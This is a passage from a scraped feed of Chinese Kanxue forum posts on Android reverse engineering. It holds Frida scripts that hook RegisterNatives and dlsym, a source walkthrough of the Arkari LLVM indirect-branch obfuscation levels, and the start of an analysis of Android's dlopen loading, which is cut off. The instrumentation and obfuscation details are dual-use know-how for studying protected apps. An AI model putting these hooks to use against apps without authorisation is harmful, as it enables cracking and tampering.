methods_ptr = ptr(args[2]); // 获取方法数组的指针 let method_count = parseInt(args[3]); // 获取方法数量 // 遍历所有方法 //jni方法里包含三个部分:方法名指针、方法签名指针和方法函数指针。每个指针在内存中占用 Process.pointerSize 的空间(这是因为在 32 位系统中指针大小是 4 字节,在 64 位系统中是 8 字节)。为了提高兼容性,统一用Process.pointerSize,系统会自动根据架构来适配 for (let i = 0; i < method_count; i++) { // 读取方法的名称、签名和函数指针 let name_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3)); //读取方法名的指针。这是每个方法结构体的第一部分,所以直接从起始地址读取。 let sig_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize)); //读取方法签名的指针。这是结构体的第二部分,所以在起始地址的基础上增加了一个指针的大小 let fnPtr_ptr = Memory.readPointer(methods_ptr.add(i * Process.pointerSize * 3 + Process.pointerSize * 2)); //读取方法函数的指针。这是结构体的第三部分,所以在起始地址的基础上增加了两个指针的大小(Process.pointerSize * 2)。 // 将指针内容转换为字符串 let name = Memory.readCString(name_ptr); let sig = Memory.readCString(sig_ptr); // 获取方法的调试符号 let symbol = DebugSymbol.fromAddress(fnPtr_ptr); // 打印每个注册的方法的相关信息 console.log( \\"[RegisterNatives] java_class:\\" , class_name, \\"name:\\" , name, \\"sig:\\" , sig, \\"fnPtr:\\" , fnPtr_ptr, \\" fnOffset:\\" , symbol, \\" callee:\\" , DebugSymbol.fromAddress( this .returnAddress)); } } }); } } setImmediate(find_RegisterNatives); // 立即执行 find_RegisterNatives 函数 |
1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_dlsym() { var dlsymAddr = Module.findExportByName( \\"libdl.so\\" , \\"dlsym\\" ); Interceptor.attach(dlsymAddr, { onEnter: function (args) { this .args1 = args[1]; }, onLeave: function (retval) { var module = Process.findModuleByAddress(retval); if (module === null ) return ; console.log( this .args1.readCString(), module.name, retval, retval.sub(module.base)); } }); } |
《安卓逆向这档事》十七、你的RPCvs佬的RPC - 吾爱破解 - 52pojie.cn
\\n[原创] 细说So动态库的加载流程-Android安全-看雪-安全社区|安全招聘|kanxue.com
\\nandroid so加载 - vendanner - 博客园
\\n\\nso逆向筑基-hook init init_array 和JNI_OnLoad
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"so?what can i do? 0.一个so的加载流程\\n\\n首先在java层肯定是要去调用so层文件,本篇重点讲解native层的加载流程,此处不再赘述。\\n\\n1.了解dlopen函数/android_dlopen_ext()\\n\\n“Dynamic Link” 动态装载库,我们会想到windows系统中,存在加载dll文件的动态加载类型,在linux中,类似的文件就是.so文件了,而加载文件的重要函数就是dlopen。\\n\\ndlopen系列函数\\n\\ndlopen:该函数将打开一个新库,并把它装入内存。该函数主要用来加载库中的符号…","guid":"https://bbs.kanxue.com/thread-286004.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-03-13T08:00:50.861Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_TRKEFSNG6T2ZC8E.png","type":"photo","width":1407,"height":361,"blurhash":"LERfkB?b%N_3_3RjRjRj~qt7RjWB"},{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_8XZE82QS7N6V2VC.png","type":"photo","width":1200,"height":555,"blurhash":"LSO4t{^,^m~X^,D~ofNF?INFayR%"},{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_WDY2V9P357T4KA2.png","type":"photo","width":647,"height":1295,"blurhash":"LC9@I+xaWVtS~qjsR*WA~qf5V@WB"},{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_NBQ9Y93BQV9JFK4.png","type":"photo","width":1347,"height":1033,"blurhash":"L48X5,_4%3-p#P9ZIVw{~BT0ofxF"},{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_AWH492HNJXWZS2Z.png","type":"photo","width":1207,"height":173,"blurhash":"L26*gq%MIU%M4nt7t7M{IUt7ofRj"},{"url":"https://bbs.kanxue.com/upload/attach/202503/1002959_5UGPNEH5HZXX52U.png","type":"photo","width":1045,"height":577,"blurhash":"LIRMb#~p~q%M?cxuM|t7?ba$ogWC"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]从源码视角分析Arkari间接跳转混淆","url":"https://bbs.kanxue.com/thread-285968.htm","content":"\\n\\n本文仅对Arkari用于混淆的pass的源码分析和讲解,没有提供去除混淆的方案,请需要去混淆的师傅自己想出解决方案,希望分析能够帮到各位师傅
文章大部分对源码的解释都直接以注释的形式写在代码中
\\n\\nPS: 本文所有分析均基于开源项目Arkari:Arkari LLVM19.x 架构为ARM64
\\n
-mllvm -irobf-indbr
)-mllvm -irobf-icall
)-mllvm -irobf-indgv
)-mllvm -irobf-cse
)-mllvm -irobf-cff
)-mllvm -irobf-cie
) -mllvm -irobf-cfe
)1 2 3 4 5 6 | git clone https: //github .com /KomiMoe/Arkari .git cd Arkari mkdir build cd build cmake -DCMAKE_BUILD_TYPE=Release -DLLVM_ENABLE_PROJECTS=clang -G \\"Unix Makefiles\\" .. /llvm make -j12 |
在ARM64架构中,间接跳转混淆是一种通过破坏静态控制流可读性的代码保护技术,其核心机制是将程序中的直接跳转(如B
/BL
指令)替换为通过通用寄存器(如X17)间接跳转的模式,常见形式为BR X8
等。由于IDA等静态反编译工具无法确定寄存器中的值,导致程序原始控制流在静态分析下被截断,使得静态分析失效。
间接跳转混淆的源码在编译好之后的Arkari/llvm/lib/Transforms/Obfuscation
路径下的IndirectBranch.cpp
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | bool runOnFunction(Function &Fn) override { const auto opt = ArgsOptions->toObfuscate(ArgsOptions->indBrOpt(), &Fn); if (!opt.isEnabled()) { return false ; } if (Fn.empty() || Fn.hasLinkOnceLinkage() || Fn.getSection() == \\".text.startup\\" ) { return false ; } LLVMContext &Ctx = Fn.getContext(); // Init member fields BBNumbering.clear(); BBTargets.clear(); // llvm cannot split critical edge from IndirectBrInst SplitAllCriticalEdges(Fn, CriticalEdgeSplittingOptions(nullptr, nullptr)); NumberBasicBlock(Fn); if (BBNumbering.empty()) { return false ; } uint64_t V = RandomEngine.get_uint64_t(); uint64_t XV = RandomEngine.get_uint64_t(); IntegerType* intType = Type::getInt32Ty(Ctx); if (pointerSize == 8) { intType = Type::getInt64Ty(Ctx); } ConstantInt *EncKey = ConstantInt::get(intType, V, false ); ConstantInt *EncKey1 = ConstantInt::get(intType, -V, false ); ConstantInt *Zero = ConstantInt::get(intType, 0); GlobalVariable *GXorKey = nullptr; GlobalVariable *DestBBs = nullptr; GlobalVariable *XorKeys = nullptr; if (opt.level() == 0) { DestBBs = getIndirectTargets0(Fn, EncKey1); } else if (opt.level() == 1 || opt.level() == 2) { ConstantInt *CXK = ConstantInt::get(intType, XV, false ); GXorKey = new GlobalVariable(*Fn.getParent(), CXK->getType(), false , GlobalValue::LinkageTypes::PrivateLinkage, CXK, Fn.getName() + \\"_IBrXorKey\\" ); appendToCompilerUsed(*Fn.getParent(), {GXorKey}); if (opt.level() == 1) { DestBBs = getIndirectTargets1(Fn, EncKey1, CXK); } else { DestBBs = getIndirectTargets2(Fn, EncKey1, CXK); } } else { auto [fst, snd] = getIndirectTargets3(Fn, EncKey1); DestBBs = fst; XorKeys = snd; } for ( auto &BB : Fn) { auto *BI = dyn_cast<BranchInst>(BB.getTerminator()); if (BI && BI->isConditional()) { IRBuilder<> IRB(BI); Value *Cond = BI->getCondition(); Value *Idx; Value *TIdx, *FIdx; TIdx = ConstantInt::get(intType, BBNumbering[BI->getSuccessor(0)]); FIdx = ConstantInt::get(intType, BBNumbering[BI->getSuccessor(1)]); Idx = IRB.CreateSelect(Cond, TIdx, FIdx); Value *GEP = IRB.CreateGEP( DestBBs->getValueType(), DestBBs, {Zero, Idx}); Value *EncDestAddr = IRB.CreateLoad( GEP->getType(), GEP, \\"EncDestAddr\\" ); // -EncKey = X - FuncSecret Value *DecKey = EncKey; if (GXorKey) { LoadInst *XorKey = IRB.CreateLoad(GXorKey->getValueType(), GXorKey); if (opt.level() == 1) { DecKey = IRB.CreateXor(EncKey1, XorKey); DecKey = IRB.CreateNeg(DecKey); } else if (opt.level() == 2) { DecKey = IRB.CreateXor(EncKey1, IRB.CreateMul(XorKey, Idx)); DecKey = IRB.CreateNeg(DecKey); } } if (XorKeys) { Value *XorKeysGEP = IRB.CreateGEP(XorKeys->getValueType(), XorKeys, {Zero, Idx}); Value *XorKey = IRB.CreateLoad(intType, XorKeysGEP); XorKey = IRB.CreateNeg(XorKey); XorKey = IRB.CreateXor(XorKey, EncKey1); XorKey = IRB.CreateNeg(XorKey); DecKey = IRB.CreateXor(EncKey1, IRB.CreateMul(XorKey, Idx)); DecKey = IRB.CreateNeg(DecKey); } Value *DestAddr = IRB.CreateGEP( Type::getInt8Ty(Ctx), EncDestAddr, DecKey); IndirectBrInst *IBI = IndirectBrInst::Create(DestAddr, 2); IBI->addDestination(BI->getSuccessor(0)); IBI->addDestination(BI->getSuccessor(1)); ReplaceInstWithInst(BI, IBI); } } return true ; } |
这是IndirectBranch.cpp
的runOnFunction
函数,在OLLVM中runOnFunction函数是pass执行的入口点
在函数中函数首先初始化了两个数组:
\\nBBNumbering
: 存储基本块到随机化编号的映射,用于后续计算跳转索引BBTargets
: 临时存储所有唯一条件分支目标块\\n\\n这里需要提一下,OLLVM中一个函数对象(Function)是由基本块(BasicBlock)组成,而基本块由每一条指令(Instruction)组成
\\n
接着调用SplitAllCriticalEdges
函数,分割关键边,原理是在有多个前驱和后继的边之间插入新基本块
再调用NumberBasicBlock
函数,这个函数将所有条件分支目标基本块分配随机化编号,打乱程序原有的顺序执行流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | void NumberBasicBlock(Function &F) { for ( auto &BB : F) { // 遍历所有基本块 if ( auto *BI = dyn_cast<BranchInst>(BB.getTerminator())) { // 获取基本块的最后一条跳转指令 if (BI->isConditional()) { // 判断是否是条件跳转 unsigned N = BI->getNumSuccessors(); // N为分支数 for (unsigned I = 0; I < N; I++) { BasicBlock *Succ = BI->getSuccessor(I); // 获取后继基本块 if (BBNumbering.count(Succ) == 0) { // 检查Succ是否已存在于map中 BBTargets.push_back(Succ); BBNumbering[Succ] = 0; // 添加到BBTargets并初始化编号为0 } } } } } long seed = RandomEngine.get_uint32_t(); // 随机数种子 std::default_random_engine e(seed); std::shuffle(BBTargets.begin(), BBTargets.end(), e); // 用随机数打乱 unsigned N = 0; for ( auto BB:BBTargets) { BBNumbering[BB] = N++; // 打乱的基本块重新编号 } } |
代码的注释中已经写的很详细,总结一下就是:寻找条件跳转的后继基本块->随机数打乱基本块->基本块重编号
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 | // 生成 64 位随机密钥 uint64_t V = RandomEngine.get_uint64_t(); uint64_t XV = RandomEngine.get_uint64_t(); // 根据指针大小选择整数类型 IntegerType* intType = Type::getInt32Ty(Ctx); if (pointerSize == 8) { intType = Type::getInt64Ty(Ctx); } // 构造加密常数(核心密钥) ConstantInt *EncKey = ConstantInt::get(intType, V, false ); // 加密密钥 ConstantInt *EncKey1 = ConstantInt::get(intType, -V, false ); // 解密密钥 ConstantInt *Zero = ConstantInt::get(intType, 0); // 零值常量 |
1 2 3 | GlobalVariable *GXorKey = nullptr; // 一级异或密钥存储 GlobalVariable *DestBBs = nullptr; // 加密跳转表 GlobalVariable *XorKeys = nullptr; // 动态异或密钥池 |
变量名 | \\n类型 | \\n作用 | \\n
---|---|---|
GXorKey | \\nGlobalVariable* | \\n存储全局异或密钥(用于后续 Level 1 or 2 混淆) | \\n
DestBBs | \\nGlobalVariable* | \\n存储加密后的跳转地址数组(核心跳转表) | \\n
XorKeys | \\nGlobalVariable* | \\n存储动态生成的异或密钥数组(后续 Level 3 使用) | \\n
这里引用作者的话来解释:
\\n\\n\\n可以使用下列几种方法之一单独控制某个混淆Pass的强度
\\n
(Win64-19.1.0-rc3-obf1.5.1-rc5 or later)如果不指定强度则默认强度为0,annotate的优先级永远高于命令行参数
\\n可用的Pass:
\\n\\n
\\n- \\n
icall
(强度范围: 0-3)- \\n
indbr
(强度范围: 0-3)- \\n
indgv
(强度范围: 0-3)- \\n
cie
(强度范围: 0-3)- \\n
cfe
(强度范围: 0-3)1.通过annotate对特定函数指定混淆强度:
\\n\\n
^flag=1
表示当前函数设置某功能强度等级(此处为1)\\n
12345678//^icall=表示指定icall的强度
//+icall表示当前函数启用icall混淆, 如果你在命令行中启用了icall则无需添加+icall
[[clang::annotate(
\\"+icall ^icall=3\\"
)]]
int
main() {
std::cout <<
\\"HelloWorld\\"
<< std::endl;
return
0;
}
2.通过命令行参数指定特定混淆Pass的强度
\\nEg.间接函数调用,并加密目标函数地址,强度设置为3(
\\n-mllvm -irobf-icall -mllvm -level-icall=3
)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | if (opt.level() == 0) { DestBBs = getIndirectTargets0(Fn, EncKey1); //level 0 的处理逻辑 } else if (opt.level() == 1 || opt.level() == 2) { //level 1 和 2 共同的逻辑 ConstantInt *CXK = ConstantInt::get(intType, XV, false ); GXorKey = new GlobalVariable( //生成用于XOR的key的全局变量 *Fn.getParent(), CXK->getType(), false , GlobalValue::LinkageTypes::PrivateLinkage, CXK, Fn.getName() + \\"_IBrXorKey\\" ); appendToCompilerUsed(*Fn.getParent(), {GXorKey}); if (opt.level() == 1) { DestBBs = getIndirectTargets1(Fn, EncKey1, CXK); //level 1 方案 } else { DestBBs = getIndirectTargets2(Fn, EncKey1, CXK); //level 2 方案 } } else { auto [fst, snd] = getIndirectTargets3(Fn, EncKey1); //level 3 方案 DestBBs = fst; XorKeys = snd; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | GlobalVariable *getIndirectTargets0(Function &F, ConstantInt *EncKey) const { std::string GVName(F.getName().str() + \\"_IndirectBrTargets\\" ); GlobalVariable *GV = F.getParent()->getNamedGlobal(GVName); //获取对应函数的加密地址的全局变量 if (GV) return GV; //如果已经生成过全局变量,则直接返回,防止重复生成 std::vector<Constant *> Elements; //存储加密后的基本块地址 //遍历需要加密的基本块 for ( const auto BB:BBTargets) { // 获取基本块地址并转换为通用指针类型 Constant *CE = ConstantExpr::getBitCast( BlockAddress::get(BB), PointerType::getUnqual(F.getContext()) ); // 加密基本块地址 CE = ConstantExpr::getGetElementPtr( Type::getInt8Ty(F.getContext()), CE, //原始地址 EncKey //加密偏移 ); Elements.push_back(CE); } // 定义数组类型 ArrayType *ATy = ArrayType::get( PointerType::getUnqual(F.getContext()), Elements.size() // 数组长度 ); // 将加密地址封装为常量数组 Constant *CA = ConstantArray::get(ATy, Elements); // 创建全局变量 GV = new GlobalVariable( *F.getParent(), // 所属模块 ATy, // 数组类型 false , // 是否常量 GlobalValue::LinkageTypes::PrivateLinkage, // 链接属性 CA, // 初始值 GVName // 变量名 ); // 防止优化器删除该全局变量 appendToCompilerUsed(*F.getParent(), {GV}); return GV; } |
总结下来level 0
的处理就是生成一个加密地址的全局变量数组(GV),可以用一个公式来概括:加密地址 = 原始地址 + EncKey
需要注意的是,EncKey是负数,所以代码上看起来是加密地址 = 原始地址 - EncKey
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | GlobalVariable *getIndirectTargets1(Function &F, ConstantInt *AddKey, ConstantInt *XorKey) const { std::string GVName(F.getName().str() + \\"_IndirectBrTargets1\\" ); GlobalVariable *GV = F.getParent()->getNamedGlobal(GVName); if (GV) return GV; // encrypt branch targets std::vector<Constant *> Elements; for ( const auto BB:BBTargets) { Constant *CE = ConstantExpr::getBitCast( BlockAddress::get(BB), PointerType::getUnqual(F.getContext()) ); CE = ConstantExpr::getGetElementPtr( Type::getInt8Ty(F.getContext()), CE, ConstantExpr::getXor(AddKey, XorKey) //不同点 ); Elements.push_back(CE); } ArrayType *ATy =ArrayType::get( PointerType::getUnqual(F.getContext()), Elements.size() ); Constant *CA = ConstantArray::get(ATy, ArrayRef<Constant *>(Elements)); GV = new GlobalVariable( *F.getParent(), ATy, false , GlobalValue::LinkageTypes::PrivateLinkage, CA, GVName ); appendToCompilerUsed(*F.getParent(), {GV}); return GV; } |
level 1
主要的修改点就是ConstantExpr::getXor(AddKey, XorKey)
这里,换成公式就是加密地址 = 原始地址 + (AddKey ^ XorKey)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | GlobalVariable *getIndirectTargets2(Function &F, ConstantInt *AddKey, ConstantInt *XorKey) { std::string GVName(F.getName().str() + \\"_IndirectBrTargets2\\" ); GlobalVariable *GV = F.getParent()->getNamedGlobal(GVName); if (GV) return GV; auto & Ctx = F.getContext(); IntegerType *intType = Type::getInt32Ty(Ctx); if (pointerSize == 8) { intType = Type::getInt64Ty(Ctx); } // encrypt branch targets std::vector<Constant *> Elements; for ( auto BB:BBTargets) { Constant *CE = ConstantExpr::getBitCast( BlockAddress::get(BB), PointerType::getUnqual(F.getContext()) ); CE = ConstantExpr::getGetElementPtr( Type::getInt8Ty(F.getContext()), CE, ConstantExpr::getXor( //主要修改点 AddKey, ConstantExpr::getMul( XorKey, ConstantInt::get(intType, BBNumbering[BB], false ) ) ) ); Elements.push_back(CE); } ArrayType *ATy =ArrayType::get(PointerType::getUnqual(F.getContext()), Elements.size()); Constant *CA = ConstantArray::get(ATy, ArrayRef<Constant *>(Elements)); GV = new GlobalVariable(*F.getParent(), ATy, false , GlobalValue::LinkageTypes::PrivateLinkage, CA, GVName); appendToCompilerUsed(*F.getParent(), {GV}); return GV; } |
同level 1
,修改点在代码中已标出,公式:加密地址 = 原始地址 + [AddKey ^ (XorKey * Idx)]
稍微解释一下,level 0 和 level 1的key都是固定的,而level 2的key和基本块的编号挂钩,所以每个基本块对应的解密key都不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | std::pair<GlobalVariable *, GlobalVariable *> getIndirectTargets3(Function &F, ConstantInt *AddKey) { std::string GVNameAdd(F.getName().str() + \\"_IndirectBrTargets3\\" ); std::string GVNameXor(F.getName().str() + \\"_IndirectBr3_Xor\\" ); GlobalVariable *GVAdd = F.getParent()->getNamedGlobal(GVNameAdd); GlobalVariable *GVXor = F.getParent()->getNamedGlobal(GVNameXor); //新的XorKey数组全局变量 if (GVAdd && GVXor) return std::make_pair(GVAdd, GVXor); auto & Ctx = F.getContext(); IntegerType *intType = Type::getInt32Ty(Ctx); if (pointerSize == 8) { intType = Type::getInt64Ty(Ctx); } // encrypt branch targets std::vector<Constant *> Elements; std::vector<Constant *> XorKeys; for ( auto BB:BBTargets) { uint64_t V = RandomEngine.get_uint64_t(); Constant *XorKey = ConstantInt::get(intType, V, false ); Constant *CE = ConstantExpr::getBitCast( BlockAddress::get(BB), PointerType::getUnqual(F.getContext()) ); // 加密地址计算 // 与level 2相似,但是采用动态密钥 CE = ConstantExpr::getGetElementPtr( Type::getInt8Ty(F.getContext()), CE, ConstantExpr::getXor( AddKey, ConstantExpr::getMul( XorKey, ConstantInt::get(intType, BBNumbering[BB], false ) ) ) ); //特别之处:使用密钥对原基本块地址加密之后,通过取反和异或等运算混淆密钥,使得原密钥更难被计算 XorKey = ConstantExpr::getNeg(XorKey); //XorKey = ~Xorkey XorKey = ConstantExpr::getXor(XorKey, AddKey); //XorKey ^= Addkey XorKey = ConstantExpr::getNeg(XorKey); //Xorkey = ~XorKey XorKeys.push_back(XorKey); Elements.push_back(CE); } ArrayType *ATy =ArrayType::get( PointerType::getUnqual(F.getContext()), Elements.size() ); Constant *CA = ConstantArray::get( ATy, ArrayRef<Constant *>(Elements) ); GVAdd = new GlobalVariable( *F.getParent(), ATy, false , GlobalValue::LinkageTypes::PrivateLinkage, CA, GVNameAdd ); appendToCompilerUsed(*F.getParent(), {GVAdd}); ArrayType *XTy = ArrayType::get(intType, XorKeys.size()); Constant *CX = ConstantArray::get(XTy, XorKeys); GVXor = new GlobalVariable( //把混淆后的密钥放到新的全局变量中 *F.getParent(), XTy, false , GlobalValue::LinkageTypes::PrivateLinkage, CX, GVNameXor ); appendToCompilerUsed(*F.getParent(), {GVXor}); return std::make_pair(GVAdd, GVXor); } |
level 3
的加密公式可以这么表示: 加密地址 = 原始地址 + [EncKey1 ^ ( (XorKeys[Idx] ^ EncKey1) * Idx )]
level 3
在level 2
的基础上增加了对密钥的混淆。完全随机化的动态密钥 + 双数组隔离 + 混淆的设计,使得原来硬编码的密钥更加安全,在后续解密基本块地址的时候再对混淆的密钥进行还原,这也是Arkari对间接跳转混淆的创新点所在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | for ( auto &BB : Fn) { auto *BI = dyn_cast<BranchInst>(BB.getTerminator()); if (BI && BI->isConditional()) { //判断基本块结尾是否是条件跳转指令 IRBuilder<> IRB(BI); //获取IR代码的构造器 Value *Cond = BI->getCondition(); //获取跳转的条件 Value *Idx; Value *TIdx, *FIdx; TIdx = ConstantInt::get(intType, BBNumbering[BI->getSuccessor(0)]); //获取使得条件为真的后继块的编号 FIdx = ConstantInt::get(intType, BBNumbering[BI->getSuccessor(1)]); //获取使得条件为假的后继块的编号 Idx = IRB.CreateSelect(Cond, TIdx, FIdx); //构造CSEL指令 Value *GEP = IRB.CreateGEP(DestBBs->getValueType(), DestBBs,{Zero, Idx}); //计算数组元素地址(DestBBs(Idx)) Value *EncDestAddr = IRB.CreateLoad( //取出加密后的目标地址 GEP->getType(), GEP, \\"EncDestAddr\\" ); // -EncKey = X - FuncSecret Value *DecKey = EncKey; if (GXorKey) { LoadInst *XorKey = IRB.CreateLoad(GXorKey->getValueType(), GXorKey); if (opt.level() == 1) { //生成level 1对应的解密密钥 DecKey = IRB.CreateXor(EncKey1, XorKey); DecKey = IRB.CreateNeg(DecKey); } else if (opt.level() == 2) { //生成level 2对应的解密密钥 DecKey = IRB.CreateXor(EncKey1, IRB.CreateMul(XorKey, Idx)); DecKey = IRB.CreateNeg(DecKey); } } if (XorKeys) { //生成level 3对应的解密密钥 Value *XorKeysGEP = IRB.CreateGEP(XorKeys->getValueType(), XorKeys, {Zero, Idx}); Value *XorKey = IRB.CreateLoad(intType, XorKeysGEP); XorKey = IRB.CreateNeg(XorKey); XorKey = IRB.CreateXor(XorKey, EncKey1); XorKey = IRB.CreateNeg(XorKey); DecKey = IRB.CreateXor(EncKey1, IRB.CreateMul(XorKey, Idx)); DecKey = IRB.CreateNeg(DecKey); } Value *DestAddr = IRB.CreateGEP( Type::getInt8Ty(Ctx), EncDestAddr, DecKey); //计算目标基本块的地址 IndirectBrInst *IBI = IndirectBrInst::Create(DestAddr, 2); //生成BR指令 IBI->addDestination(BI->getSuccessor(0)); //预先添加可能跳转的所有目标 IBI->addDestination(BI->getSuccessor(1)); //这里即当前块的两个后继(因为是条件跳转) ReplaceInstWithInst(BI, IBI); } } |
大概的过程就是如下所示(AI生成):
Hakari的间接跳转混淆增加了不同的混淆强度,尤其是Level 3的混淆,对密钥做了进一步混淆,使得通过原始计算密钥来恢复函数的控制流变得更加困难,如果想更加完美的解决混淆,用Angr强制程序走不同分支也许会更加合适
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n\\n","description":"前言 本文仅对Arkari用于混淆的pass的源码分析和讲解,没有提供去除混淆的方案,请需要去混淆的师傅自己想出解决方案,希望分析能够帮到各位师傅\\n文章大部分对源码的解释都直接以注释的形式写在代码中\\n\\nPS: 本文所有分析均基于开源项目Arkari:Arkari LLVM19.x 架构为ARM64\\n\\nArkari支持的混淆特性\\n混淆过程间相关\\n间接跳转,并加密跳转目标(-mllvm -irobf-indbr)\\n间接函数调用,并加密目标函数地址(-mllvm -irobf-icall)\\n间接全局变量引用,并加密变量地址(-mllvm -irobf…","guid":"https://bbs.kanxue.com/thread-285968.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-03-11T11:52:00.536Z","media":[{"url":"https://jeremiah.oss-cn-shenzhen.aliyuncs.com/picture/202503111941377.png","type":"photo","width":660,"height":1662,"blurhash":"LbCi~|_4WAD$ofoffQfQxut7ayWB"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]从Java到Native,so中的函数是如何一步步被加载的?","url":"https://bbs.kanxue.com/thread-285950.htm","content":"\\n\\n\\nso?what can i do?
\\n
首先在java层肯定是要去调用so层文件,本篇重点讲解native层的加载流程,此处不再赘述。
“Dynamic Link” 动态装载库,我们会想到windows系统中,存在加载dll文件的动态加载类型,在linux中,类似的文件就是.so
文件了,而加载文件的重要函数就是dlopen
。
dlopen:该函数将打开一个新库,并把它装入内存。该函数主要用来加载库中的符号,这些符号在编译的时候是不知道的。这种机制使得在系统中添加或者删除一个模块时,都不需要重新进行编译。
函数原型
1 | \\n\\n void *dlopen( const char *filename, int flag); \\n | \\n
第一个参数是头文件所在的文件名,也就是so文件,第二个标志参数有很多,例如有RTLD_NOW
和RTLD_LAZY
立即计算和需要时计算,以及RTLD_GLOBAL
使得那些在以后才加载的库可以获得其中的符号。方式就是dlopen返回的句柄作为dlsym()的第一个参数,获取符号在库中的地址。
此函数作为安卓平台上特有的函数 是dlopen函数的拓展版本,进一步增强了dlopen函数的功能
函数原型
1 | \\n\\n void * android_dlopen_ext( const char * path, int flag, const void * ext_data); \\n | \\n
可以看到在原函数基础上增加了ext_data参数
参照源码可以大致了解增强的功能,其中大部分功能与第二个参数flag中的一些功能标志位相关联
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n | \\n\\n \\n \\ntypedef struct { \\n\\n \\n /** A bitmask of `ANDROID_DLEXT_` enum values. */ \\n\\n \\n uint64_t flags; \\n\\n \\n /** Used by `ANDROID_DLEXT_RESERVED_ADDRESS` and `ANDROID_DLEXT_RESERVED_ADDRESS_HINT`. */ \\n\\n \\n void * _Nullable reserved_addr; \\n\\n \\n /** Used by `ANDROID_DLEXT_RESERVED_ADDRESS` and `ANDROID_DLEXT_RESERVED_ADDRESS_HINT`. */ \\n\\n \\n size_t reserved_size; \\n\\n \\n /** Used by `ANDROID_DLEXT_WRITE_RELRO` and `ANDROID_DLEXT_USE_RELRO`. */ \\n\\n \\n int relro_fd; \\n\\n \\n /** Used by `ANDROID_DLEXT_USE_LIBRARY_FD`. */ \\n\\n \\n int library_fd; \\n\\n \\n /** Used by `ANDROID_DLEXT_USE_LIBRARY_FD_OFFSET` */ \\n\\n \\n off64_t library_fd_offset; \\n\\n \\n /** Used by `ANDROID_DLEXT_USE_NAMESPACE`. */ \\n\\n \\n struct android_namespace_t* _Nullable library_namespace; \\n} android_dlextinfo; | \\n
\\n此版本为安卓4源码分析,最新版本的安卓号的加载流程在代码量上有进一步的提升,但是基础原理类似。
\\n
上面的dlopen函数只是一个引子,真正的核心功能代码实现在do_dlopen函数中
\\n 1 \\n2 \\n3 \\n4 \\n5 \\n6 \\n7 \\n8 \\n9 \\n10 \\n11 \\n12 \\n13 \\n14 \\n15 \\n16 \\n17 \\n18 \\n19 \\n20 \\n21 \\n22 \\n23 \\n24 \\n25 \\n26 \\n | \\n\\n \\n \\nvoid * dlopen( const char * filename, int flags) { \\n\\n \\n ScopedPthreadMutexLocker locker(&gDlMutex); \\n\\n \\n soinfo* result = do_dlopen(filename, flags); \\n\\n \\n if (result == NULL) { \\n\\n \\n __bionic_format_dlerror( \\"dlopen failed\\" , linker_get_error_buffer()); \\n\\n \\n return NULL; \\n\\n \\n } \\n\\n \\n return result; \\n} \\n \\nsoinfo* do_dlopen( const char * name, int flags) { \\n\\n \\n //判断传入标志的类型 \\n\\n \\n if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) { \\n\\n \\n DL_ERR( \\"invalid flags to dlopen: %x\\" , flags); \\n\\n \\n return NULL; \\n\\n \\n } \\n\\n \\n //内存保护权限设置 此处为可读可写,目的是在加载find_library函数后可以对soinfo结构体的内容进行修改 \\n\\n \\n set_soinfo_pool_protection(PROT_READ | PROT_WRITE); \\n\\n \\n soinfo* si = find_library(name); //这里返回了so信息链 \\n\\n \\n if (si != NULL) { \\n\\n \\n si->CallConstructors(); //这里执行了此构造方法 \\n\\n \\n } \\n\\n \\n //在这里就没有可写权限了 \\n\\n \\n set_soinfo_pool_protection(PROT_READ); \\n\\n \\n return si; \\n} | \\n
此函数的类型为soinfo
指针,soinfo
